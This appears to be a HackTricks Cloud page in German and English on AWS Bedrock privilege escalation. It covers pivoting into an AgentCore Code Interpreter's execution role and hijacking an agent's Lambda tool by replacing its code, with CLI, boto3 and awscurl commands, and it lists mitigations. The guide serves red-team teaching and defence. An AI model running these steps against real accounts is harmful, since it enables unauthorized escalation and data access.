AWS - Bedrock PrivEsc
Tip
Lerne & übe AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lerne & übe GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lerne & übe Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Unterstütze HackTricks
- Sieh dir die Abonnementpläne an!
- Tritt der 💬 Discord group oder der telegram group bei oder folge uns auf Twitter 🐦 @hacktricks_live.
- Teile Hacking-Tricks, indem du PRs an die HackTricks und HackTricks Cloud GitHub-Repos einreichst.
Amazon Bedrock AgentCore
bedrock-agentcore:StartCodeInterpreterSession + bedrock-agentcore:InvokeCodeInterpreter - Code Interpreter Execution-Role Pivot
AgentCore Code Interpreter ist eine verwaltete Ausführungsumgebung. Custom Code Interpreters können mit einem executionRoleArn konfiguriert werden, der „Berechtigungen bereitstellt, damit der code interpreter auf AWS services zugreifen kann“.
Wenn ein niedriger privilegierter IAM principal eine Code Interpreter-Session starten + aufrufen kann, die mit einer höher privilegierten execution role konfiguriert ist, kann der Aufrufer effektiv in die Berechtigungen der execution role pivotieren (lateral movement / privilege escalation, abhängig vom Umfang der Rolle).
Note
Dies ist typischerweise ein misconfiguration / excessive permissions-Problem (zu breite Berechtigungen für die interpreter execution role und/oder zu weit gefasster invoke access). AWS warnt ausdrücklich davor, privilege escalation zu vermeiden, indem sichergestellt wird, dass execution roles gleiche oder weniger Privilegien haben als die Identitäten, die sie aufrufen dürfen.
Preconditions (common misconfiguration)
- Es existiert ein custom code interpreter mit einer überprivilegierten execution role (z. B. Zugriff auf sensible S3/Secrets/SSM oder IAM-admin-like capabilities).
- Ein Benutzer (developer/auditor/CI identity) hat Berechtigungen für:
- Sessions starten:
bedrock-agentcore:StartCodeInterpreterSession - Tools aufrufen:
bedrock-agentcore:InvokeCodeInterpreter - (Optional) Der Benutzer kann auch Interpreter erstellen:
bedrock-agentcore:CreateCodeInterpreter(erlaubt das Erstellen eines neuen Interpreters, der mit einer execution role konfiguriert ist, abhängig von den org guardrails).
Recon (identify custom interpreters and execution role usage)
List interpreters (control-plane) and inspect their configuration:
aws bedrock-agentcore-control list-code-interpreters
aws bedrock-agentcore-control get-code-interpreter --code-interpreter-id <CODE_INTERPRETER_ID>
Der Befehl create-code-interpreter unterstützt
--execution-role-arn, der festlegt, welche AWS-Berechtigungen der Interpreter haben wird.
Schritt 1 - Starte eine Session (dies gibt eine sessionId zurück, keine interaktive Shell)
SESSION_ID=$(
aws bedrock-agentcore start-code-interpreter-session \
--code-interpreter-identifier <CODE_INTERPRETER_IDENTIFIER> \
--name "arte-oussama" \
--query sessionId \
--output text
)
echo "SessionId: $SESSION_ID"
Schritt 2 - Codeausführung ausführen (Boto3 oder signiertes HTTPS)
Es gibt keine interaktive python shell von start-code-interpreter-session. Die Ausführung erfolgt über InvokeCodeInterpreter.
Option A - Boto3-Beispiel (Python ausführen + Identität verifizieren):
import boto3
client = boto3.client("bedrock-agentcore", region_name="<REGION>")
# Execute python inside the Code Interpreter session
resp = client.invoke_code_interpreter(
codeInterpreterIdentifier="<CODE_INTERPRETER_IDENTIFIER>",
sessionId="<SESSION_ID>",
name="executeCode",
arguments={
"language": "python",
"code": "import boto3; print(boto3.client('sts').get_caller_identity())"
}
)
# Response is streamed; print events for visibility
for event in resp.get("stream", []):
print(event)
Wenn der Interpreter mit einer Ausführungsrolle konfiguriert ist, sollte die Ausgabe von sts:GetCallerIdentity() die Identität dieser Rolle widerspiegeln (nicht die des Low-Priv-Aufrufers), was den Pivot demonstriert.
Option B - Signed HTTPS call (awscurl):
awscurl -X POST \
"https://bedrock-agentcore.<Region>.amazonaws.com/code-interpreters/<CODE_INTERPRETER_IDENTIFIER>/tools/invoke" \
-H "Content-Type: application/json" \
-H "Accept: application/json" \
-H "x-amzn-code-interpreter-session-id: <SESSION_ID>" \
--service bedrock-agentcore \
--region <Region> \
-d '{
"name": "executeCode",
"arguments": {
"language": "python",
"code": "print(\"Hello from AgentCore\")"
}
}'
Impact
- Lateral movement in whatever AWS access the interpreter execution role has.
- Privilege escalation if the interpreter execution role is more privileged than the caller.
- Schwerere Erkennung, wenn CloudTrail data events für interpreter invocations nicht aktiviert sind (Invocations werden je nach Konfiguration möglicherweise nicht standardmäßig geloggt).
Mitigations / Hardening
- Least privilege auf dem interpreter
executionRoleArn(behandle es wie Lambda execution roles / CI roles). - Restrict who can invoke (
bedrock-agentcore:InvokeCodeInterpreter) und wer Sessions starten kann. - Verwende SCPs, um InvokeCodeInterpreter zu verweigern, außer für genehmigte agent runtime roles (org-level enforcement kann notwendig sein).
- Aktiviere passende CloudTrail data events für AgentCore, wo anwendbar; alarmiere bei unerwarteten invocations und session creation.
Amazon Bedrock Agents
lambda:UpdateFunctionCode, bedrock:InvokeAgent - Agent Tool Hijacking via Lambda
Bedrock Agents können Lambda-backed action groups als tools (external execution) verwenden. Wenn ein principal den Code einer von einem agent verwendeten Lambda function ändern kann und anschließend den agent invokieren kann, kann er attacker-controlled code unter der Lambda execution role ausführen.
Note
Dies ist ein cross-service trust abuse (Bedrock → Lambda), keine vulnerability. Der attacker kann die Lambda möglicherweise nicht direkt invokieren, aber sie trotzdem über den agent triggern.
Preconditions (common misconfiguration)
- Ein Bedrock Agent existiert mit einer action group, die von einer Lambda function unterstützt wird
- Der attacker hat:
lambda:UpdateFunctionCodebedrock:InvokeAgent- Die Lambda execution role hat breitere permissions als der attacker
- Der attacker kann die vom agent verwendete Lambda identifizieren
Recon
Enumerate agent action groups:
aws bedrock-agent list-agents
aws bedrock-agent get-agent --agent-id <AGENT_ID>
aws bedrock-agent list-agent-action-groups --agent-id <AGENT_ID> --agent-version DRAFT
Lambda inspizieren:
aws lambda get-function --function-name <FUNCTION_NAME>
Exploitation
Lambda-Code ersetzen:
zip payload.zip lambda_function.py
aws lambda update-function-code \
--function-name <FUNCTION_NAME> \
--zip-file fileb://payload.zip
Beispiel-Payload:
import boto3
def lambda_handler(event, context):
return boto3.client("sts").get_caller_identity()
Via Agent auslösen:
aws bedrock-agent-runtime invoke-agent \
--agent-id <AGENT_ID> \
--agent-alias-id <ALIAS_ID> \
--session-id test \
--input-text "trigger tool"
Impact
- Privilege escalation into Lambda execution role
- Data exfiltration from AWS services
- Cross-service abuse via trusted agent execution
Mitigations
- Restrict
lambda:UpdateFunctionCode - Use least-privilege Lambda roles
- Monitor Lambda code changes
- Audit Bedrock agent tool usage
References
- Sonrai: AWS AgentCore privilege escalation path (SCP mitigation)
- Sonrai: Credential exfiltration paths in AWS code interpreters (MMDS)
- AWS CLI: create-code-interpreter (
--execution-role-arn) - AWS CLI: start-code-interpreter-session (returns
sessionId) - AWS Dev Guide: Code Interpreter API reference examples (Boto3 + awscurl invoke)
- AWS Dev Guide: Security credentials management (MMDS + privilege escalation warning)
- SoftwareSecured: AWS Privilege Escalation Techniques (Bedrock agent tool hijacking)
Tip
Lerne & übe AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lerne & übe GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lerne & übe Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Unterstütze HackTricks
- Sieh dir die Abonnementpläne an!
- Tritt der 💬 Discord group oder der telegram group bei oder folge uns auf Twitter 🐦 @hacktricks_live.
- Teile Hacking-Tricks, indem du PRs an die HackTricks und HackTricks Cloud GitHub-Repos einreichst.
HackTricks Cloud

